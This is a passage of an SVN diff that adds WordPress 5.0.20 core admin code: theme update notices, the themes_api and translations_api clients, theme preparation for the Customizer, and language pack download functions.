+		return new WP_Error( 'could_not_remove_theme', sprintf( __( 'Could not fully remove the theme %s.' ), $stylesheet ) );
+	}
+
+	$theme_translations = wp_get_installed_translations( 'themes' );
+
+	// Remove language files, silently.
+	if ( ! empty( $theme_translations[ $stylesheet ] ) ) {
+		$translations = $theme_translations[ $stylesheet ];
+
+		foreach ( $translations as $translation => $data ) {
+			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.po' );
+			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.mo' );
+		}
+	}
+
+	// Remove the theme from allowed themes on the network.
+	if ( is_multisite() ) {
+		WP_Theme::network_disable_theme( $stylesheet );
+	}
+
+	// Force refresh of theme update information.
+	delete_site_transient( 'update_themes' );
+
+	return true;
+}
+
+/**
+ * Get the Page Templates available in this theme
+ *
+ * @since 1.5.0
+ * @since 4.7.0 Added the `$post_type` parameter.
+ *
+ * @param WP_Post|null $post      Optional. The post being edited, provided for context.
+ * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
+ * @return array Key is the template name, value is the filename of the template
+ */
+function get_page_templates( $post = null, $post_type = 'page' ) {
+	return array_flip( wp_get_theme()->get_page_templates( $post, $post_type ) );
+}
+
+/**
+ * Tidies a filename for url display by the theme editor.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param string $fullpath Full path to the theme file
+ * @param string $containingfolder Path of the theme parent folder
+ * @return string
+ */
+function _get_template_edit_filename($fullpath, $containingfolder) {
+	return str_replace(dirname(dirname( $containingfolder )) , '', $fullpath);
+}
+
+/**
+ * Check if there is an update for a theme available.
+ *
+ * Will display link, if there is an update available.
+ *
+ * @since 2.7.0
+ * @see get_theme_update_available()
+ *
+ * @param WP_Theme $theme Theme data object.
+ */
+function theme_update_available( $theme ) {
+	echo get_theme_update_available( $theme );
+}
+
+/**
+ * Retrieve the update link if there is a theme update available.
+ *
+ * Will return a link if there is an update available.
+ *
+ * @since 3.8.0
+ *
+ * @staticvar object $themes_update
+ *
+ * @param WP_Theme $theme WP_Theme object.
+ * @return false|string HTML for the update link, or false if invalid info was passed.
+ */
+function get_theme_update_available( $theme ) {
+	static $themes_update = null;
+
+	if ( !current_user_can('update_themes' ) )
+		return false;
+
+	if ( !isset($themes_update) )
+		$themes_update = get_site_transient('update_themes');
+
+	if ( ! ( $theme instanceof WP_Theme ) ) {
+		return false;
+	}
+
+	$stylesheet = $theme->get_stylesheet();
+
+	$html = '';
+
+	if ( isset($themes_update->response[ $stylesheet ]) ) {
+		$update = $themes_update->response[ $stylesheet ];
+		$theme_name = $theme->display('Name');
+		$details_url = add_query_arg(array('TB_iframe' => 'true', 'width' => 1024, 'height' => 800), $update['url']); //Theme browser inside WP? replace this, Also, theme preview JS will override this on the available list.
+		$update_url = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet );
+
+		if ( !is_multisite() ) {
+			if ( ! current_user_can('update_themes') ) {
+				/* translators: 1: theme name, 2: theme details URL, 3: additional link attributes, 4: version number */
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ) . '</strong></p>',
+					$theme_name,
+					esc_url( $details_url ),
+					sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+						/* translators: 1: theme name, 2: version number */
+						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
+					),
+					$update['new_version']
+				);
+			} elseif ( empty( $update['package'] ) ) {
+				/* translators: 1: theme name, 2: theme details URL, 3: additional link attributes, 4: version number */
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>',
+					$theme_name,
+					esc_url( $details_url ),
+					sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+						/* translators: 1: theme name, 2: version number */
+						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
+					),
+					$update['new_version']
+				);
+			} else {
+				/* translators: 1: theme name, 2: theme details URL, 3: additional link attributes, 4: version number, 5: update URL, 6: additional link attributes */
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ) . '</strong></p>',
+					$theme_name,
+					esc_url( $details_url ),
+					sprintf( 'class="thickbox open-plugin-details-modal" aria-label="%s"',
+						/* translators: 1: theme name, 2: version number */
+						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
+					),
+					$update['new_version'],
+					$update_url,
+					sprintf( 'aria-label="%s" id="update-theme" data-slug="%s"',
+						/* translators: %s: theme name */
+						esc_attr( sprintf( __( 'Update %s now' ), $theme_name ) ),
+						$stylesheet
+					)
+				);
+			}
+		}
+	}
+
+	return $html;
+}
+
+/**
+ * Retrieve list of WordPress theme features (aka theme tags)
+ *
+ * @since 3.1.0
+ *
+ * @param bool $api Optional. Whether try to fetch tags from the WordPress.org API. Defaults to true.
+ * @return array Array of features keyed by category with translations keyed by slug.
+ */
+function get_theme_feature_list( $api = true ) {
+	// Hard-coded list is used if api not accessible.
+	$features = array(
+
+		__( 'Subject' )  => array(
+			'blog'           => __( 'Blog' ),
+			'e-commerce'     => __( 'E-Commerce' ),
+			'education'      => __( 'Education' ),
+			'entertainment'  => __( 'Entertainment' ),
+			'food-and-drink' => __( 'Food & Drink' ),
+			'holiday'        => __( 'Holiday' ),
+			'news'           => __( 'News' ),
+			'photography'    => __( 'Photography' ),
+			'portfolio'      => __( 'Portfolio' ),
+		),
+
+		__( 'Features' ) => array(
+			'accessibility-ready'   => __( 'Accessibility Ready' ),
+			'custom-background'     => __( 'Custom Background' ),
+			'custom-colors'         => __( 'Custom Colors' ),
+			'custom-header'         => __( 'Custom Header' ),
+			'custom-logo'           => __( 'Custom Logo' ),
+			'editor-style'          => __( 'Editor Style' ),
+			'featured-image-header' => __( 'Featured Image Header' ),
+			'featured-images'       => __( 'Featured Images' ),
+			'footer-widgets'        => __( 'Footer Widgets' ),
+			'full-width-template'   => __( 'Full Width Template' ),
+			'post-formats'          => __( 'Post Formats' ),
+			'sticky-post'           => __( 'Sticky Post' ),
+			'theme-options'         => __( 'Theme Options' ),
+		),
+
+		__( 'Layout' ) => array(
+			'grid-layout'   => __( 'Grid Layout' ),
+			'one-column'    => __( 'One Column' ),
+			'two-columns'   => __( 'Two Columns' ),
+			'three-columns' => __( 'Three Columns' ),
+			'four-columns'  => __( 'Four Columns' ),
+			'left-sidebar'  => __( 'Left Sidebar' ),
+			'right-sidebar' => __( 'Right Sidebar' ),
+		)
+
+	);
+
+	if ( ! $api || ! current_user_can( 'install_themes' ) )
+		return $features;
+
+	if ( !$feature_list = get_site_transient( 'wporg_theme_feature_list' ) )
+		set_site_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
+
+	if ( !$feature_list ) {
+		$feature_list = themes_api( 'feature_list', array() );
+		if ( is_wp_error( $feature_list ) )
+			return $features;
+	}
+
+	if ( !$feature_list )
+		return $features;
+
+	set_site_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );
+
+	$category_translations = array(
+		'Layout'   => __( 'Layout' ),
+		'Features' => __( 'Features' ),
+		'Subject'  => __( 'Subject' ),
+	);
+
+	// Loop over the wporg canonical list and apply translations
+	$wporg_features = array();
+	foreach ( (array) $feature_list as $feature_category => $feature_items ) {
+		if ( isset($category_translations[$feature_category]) )
+			$feature_category = $category_translations[$feature_category];
+		$wporg_features[$feature_category] = array();
+
+		foreach ( $feature_items as $feature ) {
+			if ( isset($features[$feature_category][$feature]) )
+				$wporg_features[$feature_category][$feature] = $features[$feature_category][$feature];
+			else
+				$wporg_features[$feature_category][$feature] = $feature;
+		}
+	}
+
+	return $wporg_features;
+}
+
+/**
+ * Retrieves theme installer pages from the WordPress.org Themes API.
+ *
+ * It is possible for a theme to override the Themes API result with three
+ * filters. Assume this is for themes, which can extend on the Theme Info to
+ * offer more choices. This is very powerful and must be used with care, when
+ * overriding the filters.
+ *
+ * The first filter, {@see 'themes_api_args'}, is for the args and gives the action
+ * as the second parameter. The hook for {@see 'themes_api_args'} must ensure that
+ * an object is returned.
+ *
+ * The second filter, {@see 'themes_api'}, allows a plugin to override the WordPress.org
+ * Theme API entirely. If `$action` is 'query_themes', 'theme_information', or 'feature_list',
+ * an object MUST be passed. If `$action` is 'hot_tags', an array should be passed.
+ *
+ * Finally, the third filter, {@see 'themes_api_result'}, makes it possible to filter the
+ * response object or array, depending on the `$action` type.
+ *
+ * Supported arguments per action:
+ *
+ * | Argument Name      | 'query_themes' | 'theme_information' | 'hot_tags' | 'feature_list'   |
+ * | -------------------| :------------: | :-----------------: | :--------: | :--------------: |
+ * | `$slug`            | No             |  Yes                | No         | No               |
+ * | `$per_page`        | Yes            |  No                 | No         | No               |
+ * | `$page`            | Yes            |  No                 | No         | No               |
+ * | `$number`          | No             |  No                 | Yes        | No               |
+ * | `$search`          | Yes            |  No                 | No         | No               |
+ * | `$tag`             | Yes            |  No                 | No         | No               |
+ * | `$author`          | Yes            |  No                 | No         | No               |
+ * | `$user`            | Yes            |  No                 | No         | No               |
+ * | `$browse`          | Yes            |  No                 | No         | No               |
+ * | `$locale`          | Yes            |  Yes                | No         | No               |
+ * | `$fields`          | Yes            |  Yes                | No         | No               |
+ *
+ * @since 2.8.0
+ *
+ * @param string       $action API action to perform: 'query_themes', 'theme_information',
+ *                             'hot_tags' or 'feature_list'.
+ * @param array|object $args   {
+ *     Optional. Array or object of arguments to serialize for the Themes API.
+ *
+ *     @type string  $slug     The theme slug. Default empty.
+ *     @type int     $per_page Number of themes per page. Default 24.
+ *     @type int     $page     Number of current page. Default 1.
+ *     @type int     $number   Number of tags to be queried.
+ *     @type string  $search   A search term. Default empty.
+ *     @type string  $tag      Tag to filter themes. Default empty.
+ *     @type string  $author   Username of an author to filter themes. Default empty.
+ *     @type string  $user     Username to query for their favorites. Default empty.
+ *     @type string  $browse   Browse view: 'featured', 'popular', 'updated', 'favorites'.
+ *     @type string  $locale   Locale to provide context-sensitive results. Default is the value of get_locale().
+ *     @type array   $fields   {
+ *         Array of fields which should or should not be returned.
+ *
+ *         @type bool $description        Whether to return the theme full description. Default false.
+ *         @type bool $sections           Whether to return the theme readme sections: description, installation,
+ *                                        FAQ, screenshots, other notes, and changelog. Default false.
+ *         @type bool $rating             Whether to return the rating in percent and total number of ratings.
+ *                                        Default false.
+ *         @type bool $ratings            Whether to return the number of rating for each star (1-5). Default false.
+ *         @type bool $downloaded         Whether to return the download count. Default false.
+ *         @type bool $downloadlink       Whether to return the download link for the package. Default false.
+ *         @type bool $last_updated       Whether to return the date of the last update. Default false.
+ *         @type bool $tags               Whether to return the assigned tags. Default false.
+ *         @type bool $homepage           Whether to return the theme homepage link. Default false.
+ *         @type bool $screenshots        Whether to return the screenshots. Default false.
+ *         @type int  $screenshot_count   Number of screenshots to return. Default 1.
+ *         @type bool $screenshot_url     Whether to return the URL of the first screenshot. Default false.
+ *         @type bool $photon_screenshots Whether to return the screenshots via Photon. Default false.
+ *         @type bool $template           Whether to return the slug of the parent theme. Default false.
+ *         @type bool $parent             Whether to return the slug, name and homepage of the parent theme. Default false.
+ *         @type bool $versions           Whether to return the list of all available versions. Default false.
+ *         @type bool $theme_url          Whether to return theme's URL. Default false.
+ *         @type bool $extended_author    Whether to return nicename or nicename and display name. Default false.
+ *     }
+ * }
+ * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
+ *         {@link https://developer.wordpress.org/reference/functions/themes_api/ function reference article}
+ *         for more information on the make-up of possible return objects depending on the value of `$action`.
+ */
+function themes_api( $action, $args = array() ) {
+
+	if ( is_array( $args ) ) {
+		$args = (object) $args;
+	}
+
+	if ( ! isset( $args->per_page ) ) {
+		$args->per_page = 24;
+	}
+
+	if ( ! isset( $args->locale ) ) {
+		$args->locale = get_user_locale();
+	}
+
+	/**
+	 * Filters arguments used to query for installer pages from the WordPress.org Themes API.
+	 *
+	 * Important: An object MUST be returned to this filter.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param object $args   Arguments used to query for installer pages from the WordPress.org Themes API.
+	 * @param string $action Requested action. Likely values are 'theme_information',
+	 *                       'feature_list', or 'query_themes'.
+	 */
+	$args = apply_filters( 'themes_api_args', $args, $action );
+
+	/**
+	 * Filters whether to override the WordPress.org Themes API.
+	 *
+	 * Passing a non-false value will effectively short-circuit the WordPress.org API request.
+	 *
+	 * If `$action` is 'query_themes', 'theme_information', or 'feature_list', an object MUST
+	 * be passed. If `$action` is 'hot_tags', an array should be passed.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param false|object|array $override Whether to override the WordPress.org Themes API. Default false.
+	 * @param string             $action   Requested action. Likely values are 'theme_information',
+	 *                                    'feature_list', or 'query_themes'.
+	 * @param object             $args     Arguments used to query for installer pages from the Themes API.
+	 */
+	$res = apply_filters( 'themes_api', false, $action, $args );
+
+	if ( ! $res ) {
+		// include an unmodified $wp_version
+		include( ABSPATH . WPINC . '/version.php' );
+
+		$url = $http_url = 'http://api.wordpress.org/themes/info/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+			$url = set_url_scheme( $url, 'https' );
+
+		$http_args = array(
+			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
+			'body' => array(
+				'action' => $action,
+				'request' => serialize( $args )
+			)
+		);
+		$request = wp_remote_post( $url, $http_args );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			if ( ! wp_doing_ajax() ) {
+				trigger_error(
+					sprintf(
+						/* translators: %s: support forums URL */
+						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+						__( 'https://wordpress.org/support/' )
+					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+				);
+			}
+			$request = wp_remote_post( $http_url, $http_args );
+		}
+
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error( 'themes_api_failed',
+				sprintf(
+					/* translators: %s: support forums URL */
+					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				),
+				$request->get_error_message()
+			);
+		} else {
+			$res = maybe_unserialize( wp_remote_retrieve_body( $request ) );
+			if ( ! is_object( $res ) && ! is_array( $res ) ) {
+				$res = new WP_Error( 'themes_api_failed',
+					sprintf(
+						/* translators: %s: support forums URL */
+						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+						__( 'https://wordpress.org/support/' )
+					),
+					wp_remote_retrieve_body( $request )
+				);
+			}
+		}
+	}
+
+	/**
+	 * Filters the returned WordPress.org Themes API response.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array|object|WP_Error $res    WordPress.org Themes API response.
+	 * @param string                $action Requested action. Likely values are 'theme_information',
+	 *                                      'feature_list', or 'query_themes'.
+	 * @param object                $args   Arguments used to query for installer pages from the WordPress.org Themes API.
+	 */
+	return apply_filters( 'themes_api_result', $res, $action, $args );
+}
+
+/**
+ * Prepare themes for JavaScript.
+ *
+ * @since 3.8.0
+ *
+ * @param array $themes Optional. Array of WP_Theme objects to prepare.
+ *                      Defaults to all allowed themes.
+ *
+ * @return array An associative array of theme data, sorted by name.
+ */
+function wp_prepare_themes_for_js( $themes = null ) {
+	$current_theme = get_stylesheet();
+
+	/**
+	 * Filters theme data before it is prepared for JavaScript.
+	 *
+	 * Passing a non-empty array will result in wp_prepare_themes_for_js() returning
+	 * early with that value instead.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array      $prepared_themes An associative array of theme data. Default empty array.
+	 * @param null|array $themes          An array of WP_Theme objects to prepare, if any.
+	 * @param string     $current_theme   The current theme slug.
+	 */
+	$prepared_themes = (array) apply_filters( 'pre_prepare_themes_for_js', array(), $themes, $current_theme );
+
+	if ( ! empty( $prepared_themes ) ) {
+		return $prepared_themes;
+	}
+
+	// Make sure the current theme is listed first.
+	$prepared_themes[ $current_theme ] = array();
+
+	if ( null === $themes ) {
+		$themes = wp_get_themes( array( 'allowed' => true ) );
+		if ( ! isset( $themes[ $current_theme ] ) ) {
+			$themes[ $current_theme ] = wp_get_theme();
+		}
+	}
+
+	$updates = array();
+	if ( current_user_can( 'update_themes' ) ) {
+		$updates_transient = get_site_transient( 'update_themes' );
+		if ( isset( $updates_transient->response ) ) {
+			$updates = $updates_transient->response;
+		}
+	}
+
+	WP_Theme::sort_by_name( $themes );
+
+	$parents = array();
+
+	foreach ( $themes as $theme ) {
+		$slug = $theme->get_stylesheet();
+		$encoded_slug = urlencode( $slug );
+
+		$parent = false;
+		if ( $theme->parent() ) {
+			$parent = $theme->parent();
+			$parents[ $slug ] = $parent->get_stylesheet();
+			$parent = $parent->display( 'Name' );
+		}
+
+		$customize_action = null;
+		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+			$customize_action = esc_url( add_query_arg(
+				array(
+					'return' => urlencode( esc_url_raw( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ),
+				),
+				wp_customize_url( $slug )
+			) );
+		}
+
+		$prepared_themes[ $slug ] = array(
+			'id'           => $slug,
+			'name'         => $theme->display( 'Name' ),
+			'screenshot'   => array( $theme->get_screenshot() ), // @todo multiple
+			'description'  => $theme->display( 'Description' ),
+			'author'       => $theme->display( 'Author', false, true ),
+			'authorAndUri' => $theme->display( 'Author' ),
+			'version'      => $theme->display( 'Version' ),
+			'tags'         => $theme->display( 'Tags' ),
+			'parent'       => $parent,
+			'active'       => $slug === $current_theme,
+			'hasUpdate'    => isset( $updates[ $slug ] ),
+			'hasPackage'   => isset( $updates[ $slug ] ) && ! empty( $updates[ $slug ][ 'package' ] ),
+			'update'       => get_theme_update_available( $theme ),
+			'actions'      => array(
+				'activate' => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&amp;stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null,
+				'customize' => $customize_action,
+				'delete'   => current_user_can( 'delete_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&amp;stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null,
+			),
+		);
+	}
+
+	// Remove 'delete' action if theme has an active child
+	if ( ! empty( $parents ) && array_key_exists( $current_theme, $parents ) ) {
+		unset( $prepared_themes[ $parents[ $current_theme ] ]['actions']['delete'] );
+	}
+
+	/**
+	 * Filters the themes prepared for JavaScript, for themes.php.
+	 *
+	 * Could be useful for changing the order, which is by name by default.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param array $prepared_themes Array of themes.
+	 */
+	$prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes );
+	$prepared_themes = array_values( $prepared_themes );
+	return array_filter( $prepared_themes );
+}
+
+/**
+ * Print JS templates for the theme-browsing UI in the Customizer.
+ *
+ * @since 4.2.0
+ */
+function customize_themes_print_templates() {
+	?>
+	<script type="text/html" id="tmpl-customize-themes-details-view">
+		<div class="theme-backdrop"></div>
+		<div class="theme-wrap wp-clearfix" role="document">
+			<div class="theme-header">
+				<button type="button" class="left dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show previous theme' ); ?></span></button>
+				<button type="button" class="right dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show next theme' ); ?></span></button>
+				<button type="button" class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close details dialog' ); ?></span></button>
+			</div>
+			<div class="theme-about wp-clearfix">
+				<div class="theme-screenshots">
+				<# if ( data.screenshot && data.screenshot[0] ) { #>
+					<div class="screenshot"><img src="{{ data.screenshot[0] }}" alt="" /></div>
+				<# } else { #>
+					<div class="screenshot blank"></div>
+				<# } #>
+				</div>
+
+				<div class="theme-info">
+					<# if ( data.active ) { #>
+						<span class="current-label"><?php _e( 'Current Theme' ); ?></span>
+					<# } #>
+					<h2 class="theme-name">{{{ data.name }}}<span class="theme-version"><?php printf( __( 'Version: %s' ), '{{ data.version }}' ); ?></span></h2>
+					<h3 class="theme-author"><?php printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' ); ?></h3>
+
+					<# if ( data.stars && 0 != data.num_ratings ) { #>
+						<div class="theme-rating">
+							{{{ data.stars }}}
+							<span class="num-ratings">
+								<?php
+								/* translators: %s: number of ratings */
+								echo sprintf( __( '(%s ratings)' ), '{{ data.num_ratings }}' );
+								?>
+							</span>
+						</div>
+					<# } #>
+
+					<# if ( data.hasUpdate ) { #>
+						<div class="notice notice-warning notice-alt notice-large" data-slug="{{ data.id }}">
+							<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
+							{{{ data.update }}}
+						</div>
+					<# } #>
+
+					<# if ( data.parent ) { #>
+						<p class="parent-theme"><?php printf( __( 'This is a child theme of %s.' ), '<strong>{{{ data.parent }}}</strong>' ); ?></p>
+					<# } #>
+
+					<p class="theme-description">{{{ data.description }}}</p>
+
+					<# if ( data.tags ) { #>
+						<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
+					<# } #>
+				</div>
+			</div>
+
+			<div class="theme-actions">
+				<# if ( data.active ) { #>
+					<button type="button" class="button button-primary customize-theme"><?php _e( 'Customize' ); ?></button>
+				<# } else if ( 'installed' === data.type ) { #>
+					<?php if ( current_user_can( 'delete_themes' ) ) { ?>
+						<# if ( data.actions && data.actions['delete'] ) { #>
+							<a href="{{{ data.actions['delete'] }}}" data-slug="{{ data.id }}" class="button button-secondary delete-theme"><?php _e( 'Delete' ); ?></a>
+						<# } #>
+					<?php } ?>
+					<button type="button" class="button button-primary preview-theme" data-slug="{{ data.id }}"><?php _e( 'Live Preview' ); ?></button>
+				<# } else { #>
+					<button type="button" class="button theme-install" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></button>
+					<button type="button" class="button button-primary theme-install preview" data-slug="{{ data.id }}"><?php _e( 'Install &amp; Preview' ); ?></button>
+				<# } #>
+			</div>
+		</div>
+	</script>
+	<?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/translation-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/translation-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/translation-install.php	(revision 56912)
@@ -0,0 +1,264 @@
+<?php
+/**
+ * WordPress Translation Installation Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+
+/**
+ * Retrieve translations from WordPress Translation API.
+ *
+ * @since 4.0.0
+ *
+ * @param string       $type Type of translations. Accepts 'plugins', 'themes', 'core'.
+ * @param array|object $args Translation API arguments. Optional.
+ * @return object|WP_Error On success an object of translations, WP_Error on failure.
+ */
+function translations_api( $type, $args = null ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( ! in_array( $type, array( 'plugins', 'themes', 'core' ) ) ) {
+		return	new WP_Error( 'invalid_type', __( 'Invalid translation type.' ) );
+	}
+
+	/**
+	 * Allows a plugin to override the WordPress.org Translation Installation API entirely.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param bool|array  $result The result object. Default false.
+	 * @param string      $type   The type of translations being requested.
+	 * @param object      $args   Translation API arguments.
+	 */
+	$res = apply_filters( 'translations_api', false, $type, $args );
+
+	if ( false === $res ) {
+		$url = $http_url = 'http://api.wordpress.org/translations/' . $type . '/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+
+		$options = array(
+			'timeout' => 3,
+			'body' => array(
+				'wp_version' => $wp_version,
+				'locale'     => get_locale(),
+				'version'    => $args['version'], // Version of plugin, theme or core
+			),
+		);
+
+		if ( 'core' !== $type ) {
+			$options['body']['slug'] = $args['slug']; // Plugin or theme slug
+		}
+
+		$request = wp_remote_post( $url, $options );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			trigger_error(
+				sprintf(
+					/* translators: %s: support forums URL */
+					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+				headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+			);
+
+			$request = wp_remote_post( $http_url, $options );
+		}
+
+		if ( is_wp_error( $request ) ) {
+			$res = new WP_Error( 'translations_api_failed',
+				sprintf(
+					/* translators: %s: support forums URL */
+					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+					__( 'https://wordpress.org/support/' )
+				),
+				$request->get_error_message()
+			);
+		} else {
+			$res = json_decode( wp_remote_retrieve_body( $request ), true );
+			if ( ! is_object( $res ) && ! is_array( $res ) ) {
+				$res = new WP_Error( 'translations_api_failed',
+					sprintf(
+						/* translators: %s: support forums URL */
+						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+						__( 'https://wordpress.org/support/' )
+					),
+					wp_remote_retrieve_body( $request )
+				);
+			}
+		}
+	}
+
+	/**
+	 * Filters the Translation Installation API response results.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object|WP_Error $res  Response object or WP_Error.
+	 * @param string          $type The type of translations being requested.
+	 * @param object          $args Translation API arguments.
+	 */
+	return apply_filters( 'translations_api_result', $res, $type, $args );
+}
+
+/**
+ * Get available translations from the WordPress.org API.
+ *
+ * @since 4.0.0
+ *
+ * @see translations_api()
+ *
+ * @return array Array of translations, each an array of data. If the API response results
+ *               in an error, an empty array will be returned.
+ */
+function wp_get_available_translations() {
+	if ( ! wp_installing() && false !== ( $translations = get_site_transient( 'available_translations' ) ) ) {
+		return $translations;
+	}
+
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$api = translations_api( 'core', array( 'version' => $wp_version ) );
+
+	if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
+		return array();
+	}
+
+	$translations = array();
+	// Key the array with the language code for now.
+	foreach ( $api['translations'] as $translation ) {
+		$translations[ $translation['language'] ] = $translation;
+	}
+
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
+	}
+
+	return $translations;
+}
+
+/**
+ * Output the select form for the language selection on the installation screen.
+ *
+ * @since 4.0.0
+ *
+ * @global string $wp_local_package
+ *
+ * @param array $languages Array of available languages (populated via the Translation API).
+ */
+function wp_install_language_form( $languages ) {
+	global $wp_local_package;
+
+	$installed_languages = get_available_languages();
+
+	echo "<label class='screen-reader-text' for='language'>Select a default language</label>\n";
+	echo "<select size='14' name='language' id='language'>\n";
+	echo '<option value="" lang="en" selected="selected" data-continue="Continue" data-installed="1">English (United States)</option>';
+	echo "\n";
+
+	if ( ! empty( $wp_local_package ) && isset( $languages[ $wp_local_package ] ) ) {
+		if ( isset( $languages[ $wp_local_package ] ) ) {
+			$language = $languages[ $wp_local_package ];
+			printf( '<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
+				esc_attr( $language['language'] ),
+				esc_attr( current( $language['iso'] ) ),
+				esc_attr( $language['strings']['continue'] ),
+				in_array( $language['language'], $installed_languages ) ? ' data-installed="1"' : '',
+				esc_html( $language['native_name'] ) );
+
+			unset( $languages[ $wp_local_package ] );
+		}
+	}
+
+	foreach ( $languages as $language ) {
+		printf( '<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
+			esc_attr( $language['language'] ),
+			esc_attr( current( $language['iso'] ) ),
+			esc_attr( $language['strings']['continue'] ),
+			in_array( $language['language'], $installed_languages ) ? ' data-installed="1"' : '',
+			esc_html( $language['native_name'] ) );
+	}
+	echo "</select>\n";
+	echo '<p class="step"><span class="spinner"></span><input id="language-continue" type="submit" class="button button-primary button-large" value="Continue" /></p>';
+}
+
+/**
+ * Download a language pack.
+ *
+ * @since 4.0.0
+ *
+ * @see wp_get_available_translations()
+ *
+ * @param string $download Language code to download.
+ * @return string|bool Returns the language code if successfully downloaded
+ *                     (or already installed), or false on failure.
+ */
+function wp_download_language_pack( $download ) {
+	// Check if the translation is already installed.
+	if ( in_array( $download, get_available_languages() ) ) {
+		return $download;
+	}
+
+	if ( ! wp_is_file_mod_allowed( 'download_language_pack' ) ) {
+		return false;
+	}
+
+	// Confirm the translation is one we can download.
+	$translations = wp_get_available_translations();
+	if ( ! $translations ) {
+		return false;
+	}
+	foreach ( $translations as $translation ) {
+		if ( $translation['language'] === $download ) {
+			$translation_to_load = true;
+			break;
+		}
+	}
+
+	if ( empty( $translation_to_load ) ) {
+		return false;
+	}
+	$translation = (object) $translation;
+
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$skin = new Automatic_Upgrader_Skin;
+	$upgrader = new Language_Pack_Upgrader( $skin );
+	$translation->type = 'core';
+	$result = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );
+
+	if ( ! $result || is_wp_error( $result ) ) {
+		return false;
+	}
+
+	return $translation->language;
+}
+
+/**
